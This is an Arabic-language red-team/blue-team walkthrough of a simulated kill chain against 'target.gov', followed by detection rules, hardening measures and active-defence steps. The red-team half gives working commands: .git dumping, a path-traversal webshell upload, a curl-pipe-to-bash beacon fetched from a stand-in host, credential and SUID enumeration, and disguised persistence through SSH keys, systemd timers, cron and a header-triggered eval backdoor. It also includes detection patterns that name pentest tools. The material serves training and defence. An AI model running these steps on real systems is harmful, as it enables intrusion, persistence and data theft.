Full Attack Scenario — من الـ Recon لحد الـ Backdoor
Red كاملة على target.gov، وبعدها Blue ترد عليها
السيناريو الكامل — اختراق target.gov من الصفر للـ backdoor
الإطار: Cyber Kill Chain من Lockheed (Recon -> Weaponize -> Deliver -> Exploit -> Install -> C2 -> Actions)، + ATT&CK mapping لكل خطوة. الـ blue team عندنا 4 نقاط محتملة يلاقطنا فيها. هدفنا نشوفها كلها قبل ما نمشي.
الجزء الأول — الفريق الأحمر
التفويض: خطاب مكتوب من الجهة، نطاق محدد (*.target.gov)، نافذة زمنية، نقطة اتصال طارئة، قائمة أنظمة محظورة (PROD-DB، SCADA). كل أمر يُسجَّل في script(1)أو في تسجيل Burp.
قبل أي حزمة باتجاه الخادم، نجمع كل ما هو عام. المهاجم الذكي يمشي في الظل أولاً.
# 1. جرد الـ subdomains من الشهادات (passive)
curl -s "https://crt.sh/?q=%25.target.gov&output=json" | jq -r '.[].name_value' | sort -u
# 2. سجلات DNS التاريخية
amass enum -passive -d target.gov -o subs.txt
# 3. ملفات مسرّبة (PDF, docx) قد تفضح أسماء مستخدمين
google-dorks: site:target.gov filetype:pdf
metagoofil -d target.gov -t pdf,docx -l 100 -o ./loot
# 4. GitHub — مفاتيح API، نسخ احتياطية
gh search code "target.gov" --json repository,path
trufflehog github --org=target-gov --only-verified
# 5. LinkedIn / Wayback — أسماء موظفين، تقنيات قديمة
linkedin2username -c "Target Gov Authority"
waybackurls target.gov | grep -E "\.(env|bak|old|swp)$"ATT&CK: T1589 (Gather Victim Identity)، T1592 (Gather Victim Host)، T1596 (Search Open Technical DBs).
الآن نُرسل طلبات. كل حزمة تُسجَّل في WAF/EDR. نعمل ببطء و من IPs متعددة.
# 1. بصمة الـ stack
whatweb -a 4 https://www.target.gov
wafw00f https://www.target.gov # كشف WAF (Cloudflare? F5? Imperva?)
curl -sI https://www.target.gov | head # Server, X-Powered-By
# 2. مسح خفيف (rate-limited)
nmap -sS -T2 --top-ports 1000 -Pn www.target.gov
# لاحقاً، بعد إيجاد origin مكشوف:
nmap -sV -sC -p 80,443,8080,8443,3306,5432 origin.target.gov
# 3. اكتشاف المسارات
ffuf -u https://www.target.gov/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-mc 200,301,401,403 -t 20 -p 0.3
# /admin, /api/v1, /backup.zip, /.git/HEAD ...لدينا الآن قائمة أصول. نُشغّل ماسحات مُتخصّصة و نُفلتر النتائج يدوياً.
# Nuclei — قوالب CVE معروفة (3900+ template)
nuclei -u https://portal.target.gov -severity high,critical -rl 30
# Nikto — مشاكل على مستوى الخادم
nikto -h https://portal.target.gov -Tuning x6
# اختبار يدوي للـ params التي وجدها arjun
arjun -u https://portal.target.gov/api/v2/users
# ?id=, ?lang=, ?file=, ?redirect= ...
# فحص JS bundles لاكتشاف endpoints مخفية
linkfinder -i 'https://portal.target.gov/static/*.js' -o cliATT&CK: T1595.002 (Vulnerability Scanning). ثلاثة خيوط محتملة — نختار الأهدأ صوتاً: .git المكشوف.
الـ .git/ المكشوف يُعطينا الكود المصدري. هناك نجد الجوهرة الحقيقية.
# 1. سحب المستودع كاملاً
git-dumper https://portal.target.gov/.git/ ./loot/source
# 2. مراجعة الكود — مفاتيح، endpoints، منطق ضعيف
cd loot/source
trufflehog filesystem . --only-verified
grep -rE "API_KEY|SECRET|PASSWORD|TOKEN" --include="*.env*" --include="*.config*"
# وجدنا في .env.production:
# DB_PASS=Sup3r-Secret-2024
# ADMIN_TOKEN=eyJhbGc...
# AWS_ACCESS_KEY_ID=AKIA...
# 3. مراجعة المسار /api/upload الذي ظهر في nuclei
# الكود يستقبل filename دون تعقيم → path traversal → write webshell
curl -X POST https://portal.target.gov/api/upload \
-H "Authorization: Bearer eyJhbGc..." \
-F "file=@shell.php;filename=../../public/uploads/x.php"
# 4. تأكيد التنفيذ
curl "https://portal.target.gov/uploads/x.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)الـ webshell هشّ. نحتاج اتصالاً ثنائياً مُشفّراً مع server خارجي = C2.
# 1. على الـ webshell نُنزّل beacon
curl https://portal.target.gov/uploads/x.php?cmd=$(echo -n \
"curl -sk https://cdn-redteam.example/u | bash" | base64)
# 2. الـ payload المُحمّل (Sliver/Mythic/Cobalt Strike مُكوّنة بـ HTTPS jitter)
# /tmp/.X11-cache (يبدو ملفاً نظامياً)
chmod +x /tmp/.X11-cache && /tmp/.X11-cache &
# 3. على C2 (Sliver مثال)
> sessions
ID Name Transport RemoteAddress Hostname
1 sweetgum https 10.20.30.5:54321 web01.target.gov
# 4. حركة جانبية — تعداد ثم استخراج credentials
> use 1
> ps # هل هناك أنتي فيرس؟
> ls /home # حسابات
> shell
$ sudo -l # هل www-data له sudo بدون كلمة سر على شيء؟
$ cat /etc/passwd
$ find / -perm -4000 2>/dev/null # SUID
$ ss -tnlp # ما الذي يستمع داخلياً؟ — DB؟ Redis؟ATT&CK: T1505.003 (Web Shell)، T1071.001 (App Layer Protocol — HTTPS C2)، T1059.004 (Unix Shell).
هدفنا أن نعود حتى لو أُغلق webshell. أربع طبقات بقاء، مرتبة من الأهدأ إلى الأعلى صوتاً:
# نضيف مفتاحنا إلى authorized_keys لمستخدم نادر الاستخدام
echo "ssh-ed25519 AAAA..." >> /home/backup/.ssh/authorized_keys
# تعديل sshd_config: AllowUsers backup# /etc/systemd/system/apt-cache-clean.timer
# يبدو كصيانة، يُشغّل beacon كل 4 ساعات
[Timer]
OnBootSec=15min
OnUnitActiveSec=4h# يستخدم اسماً نظامياً
echo "*/30 * * * * root /usr/lib/.cache/sync" \
> /etc/cron.d/logrotate-sync# داخل ملف PHP موجود — سطر واحد
# يُفعَّل فقط بـ header خاص
if(isset($_SERVER['HTTP_X_FWD_VER']) &&
$_SERVER['HTTP_X_FWD_VER']==='9a3f') eval(...);ATT&CK: T1098.004 (SSH Auth Keys)، T1053.006 (systemd Timers)، T1505.003 (Web Shell).
الباب الخلفي ليس الهدف. الهدف هو البيانات أو التأثير. حسب التفويض:
- تعداد قاعدة البيانات → سحب hash كلمات المرور (لإثبات الوصول، لا للنشر).
- الوصول إلى مفتاح AWS الذي وجدناه → تعداد S3 buckets، lambda functions.
- التحرك جانبياً نحو AD (إذا كان داخل النطاق) — Kerberoasting، AS-REP roasting.
- التوثيق: لقطات شاشة، hashes (مُقصّة)، مسارات ATT&CK، خط زمني دقيق.
الجزء الثاني — الفريق الأزرق: ماذا رأينا؟
المصدر: WAF / Reverse Proxy logs
[10:14:02] 198.51.100.7 GET /admin → 403 UA="Mozilla/5.0 ffuf"
[10:14:02] 198.51.100.7 GET /backup.zip → 404
[10:14:02] 198.51.100.7 GET /.git/HEAD → 200 ← انذار!
[10:14:03] 198.51.100.7 GET /api/v1 → 401
... (1200 طلب في 90 ثانية)
قواعد الكشف:
1. Splunk/Sigma: > 100 طلب 4xx/5xx من نفس IP خلال 60s
2. User-Agent يحوي "ffuf|sqlmap|nuclei|nikto|gobuster"
3. وصول ناجح إلى /.git/* أو /.env* أو /backup*
4. تنبيه crt.sh monitoring — شهادة جديدة لنطاقنا تظهر في logرفع .php في مجلد uploads = توقيع كلاسيكي.
المصدر: File Integrity Monitoring (Wazuh / auditd)
type=PATH msg=audit(...): name="/var/www/public/uploads/x.php"
nametype=CREATE uid=33 (www-data)
قاعدة Sigma:
detection:
selection:
Image: '*php*'
TargetFilename|endswith: ['.php', '.phtml', '.jsp']
TargetFilename|contains: '/uploads/'
condition: selection
+ EDR rule: عملية www-data تُنفّذ /bin/sh أو curl خارج localhostالـ beacon يتصل خارجياً بشكل دوري. هذا أوضح إشارة في كل السيناريو.
المصدر: Zeek / Suricata + DNS logs
# beaconing detection
RITA: تكرار اتصالات إلى نفس IP بفاصل ثابت (jitter منخفض)
→ score > 0.8 = beacon محتمل
# JA3/JA4 fingerprint
TLS handshake من /tmp/.X11-cache ≠ توقيع متصفّح أو curl معتاد
→ JA3 hash = blacklisted (Sliver default)
# DNS
استعلام عن cdn-redteam.example من خادم production
→ ASN غير معروف، عُمر النطاق < 30 يوم = إنذارauditd: تعديل /home/*/.ssh/authorized_keys
→ إنذار حرج (لا يحدث في العمليات الطبيعية)
systemd: وحدة جديدة في /etc/systemd/system/*.timer
→ diff مع baseline الـ FIM
cron: ملف جديد في /etc/cron.d/
→ نفس الشيء
osquery query تشغّل كل 15 دقيقة:
SELECT * FROM crontab WHERE path NOT IN (<baseline>);
SELECT * FROM authorized_keys WHERE uid != <expected>;الجزء الثالث — الحماية: كيف نُغلق هذه السلسلة
- مراجعة دورية لـ crt.sh — لا شهادات لنطاقات غير معتمدة.
- حظر الوصول إلى .git/, .env, .svn/ على مستوى reverse proxy.
- عدم نشر مستودعات تطوير على origin مكشوف.
- أسرار في Vault/AWS Secrets Manager، لا في .env.
- قواعد ModSecurity CRS أو AWS WAF managed rules.
- rate limit على endpoints حسّاسة (login، upload، API).
- تحدّي JS / CAPTCHA على نمط فحص آلي.
- حظر User-Agents معروفة لأدوات pentest في production.
- تعقيم filename + قائمة بيضاء للامتدادات.
- مجلد uploads خارج DocumentRoot — لا ينفّذ كـ PHP.
- مبدأ أقل صلاحية: حساب التطبيق لا يكتب خارج مجلده.
- SAST/DAST في الـ CI — لا ندخل production بثغرة معروفة.
- خوادم web لا تتصل بـ DB إلا عبر منفذ واحد محدد.
- egress firewall — قائمة بيضاء صارمة للـ DNS و IPs.
- VLANs منفصلة: web ↔ app ↔ DB ↔ admin.
- Zero Trust: كل اتصال داخلي يُصادَق و يُسجَّل.
- EDR على كل خادم (CrowdStrike/SentinelOne/Wazuh).
- SIEM يجمع: web logs + auditd + Zeek + DNS.
- قواعد Sigma للـ TTPs أعلاه — مُختبرة بـ atomic-red-team.
- SOAR playbook: عند تنبيه webshell → عزل تلقائي للحاوية.
- Tabletop شهري — يحاكي بالضبط هذا السيناريو.
- IR runbook مكتوب، مجرَّب، و معروف لكل العاملين.
- Threat hunting أسبوعي — لا ننتظر التنبيه.
- Purple team: الأزرق و الأحمر يجلسان معاً.
الجزء الرابع — الرد العكسي (Active Defense)
- وثيقة passwords.xlsx وهمية في share — أي وصول لها = حادث مؤكد.
- حساب AD وهمي بصلاحيات مغرية — أي محاولة Kerberoast = إنذار.
- مفتاح AWS canary (Thinkst Canarytokens) — يُطلق إنذاراً عند أول استخدام.
- خادم T-Pot في DMZ — يجمع TTPs و IPs لشبكة المهاجم.
- عند كشف beacon: لا تقطع فوراً. راقب لجمع TTPs.
- أعد توجيه C2 traffic إلى sinkhole — يستمر المهاجم بظنه يُسيطر.
- أطعمه بيانات وهمية مُحبكة — وثائق وهمية موسومة بـ canarytoken.
- هذا يكشف الـ infrastructure الكاملة للمهاجم قبل الطرد النهائي.
- اجمع: IPs، JA3، أسماء أدوات، أسلوب التشغيل (TTPs)، أوقات النشاط (timezone).
- قارن مع تقارير CTI (Mandiant, CrowdStrike, Talos) — هل النمط معروف؟
- سلسلة الحراسة (chain of custody) للأدلة — صور disk، memory dumps، PCAPs.
- سلّم الحزمة لـ CERT الوطنية / إنفاذ القانون. لا تنشر علنياً قبل إذنهم.
- إبلاغ ASN/Hosting الذي يستضيف C2 → takedown.
- إبلاغ مُسجّل النطاق → تعليق الدومين.
- مشاركة IoCs عبر MISP / ISAC القطاعي.
- طلب RPZ من مزوّد DNS لحظر النطاق على نطاق وطني.
خلاصة — الجدول الكامل
المرحلة الفعل (أحمر) الأثر (أزرق) الحماية
────────────────────────────────────────────────────────────────────────
Recon crt.sh, github dorks — حذف الأسرار من Git
Scanning ffuf, nuclei WAF: 4xx burst rate limit + IP rep
Discovery /.git/HEAD = 200 access log حظر الملفات المخفية
Initial Access upload .php عبر traversal FIM: ملف جديد sanitize + sandbox
C2 HTTPS beacon Zeek: beaconing JA3 egress allowlist
Persistence systemd timer + SSH key auditd: cron/ssh diff FIM + osquery
Actions سحب hashes DB egress شاذ DLP + canary creds
Active Defense: honeytokens → اكتشاف فوري | sinkhole → جمع TTPs | CERT → takedownالكلام اللي بيتقال: "المهاجم محتاج ينجح مرة، المدافع محتاج ينجح كل مرة". صحيح بس ناقص. الـ asymmetry المعاكسة: المهاجم محتاج يخفي كل أثر، المدافع محتاج alert واحد صح. واللي بيخسر هو اللي بيـ ignore الـ alert الواحد ده.
الخلاصة الناشفة
الفيلم ده مش flex. ده تذكرة. الـ red team بيشتغل بـ playbook معروف. الـ blue team عنده 4-5 نقط ممكن يلاقطه فيها.
واللي بيحصل فعلياً — وأنا شفته بعيني — إن أغلب الـ alerts في الـ SOC بتروح في sleep لأن الـ analyst تعبان أو الـ rule noisy. الـ adversary بيعدّي مش لأنه شاطر. بيعدّي لأن الـ defender بيتفرّج مش بيراقب.
الفرق بين اتنين: hunting culture، egress filtering، ETW + Sysmon + identity logs مع بعض، و SOAR بيشتغل automatically. الباقي تفاصيل.
مراجع و قراءة إضافية
- Lockheed Martin — Cyber Kill Chain whitepaper.
- MITRE ATT&CK Enterprise Matrix.
- Active Defense Harbinger Distribution (ADHD) — Black Hills InfoSec.
- SANS FOR508 — Advanced IR & Threat Hunting.
- Mandiant M-Trends Report (annual).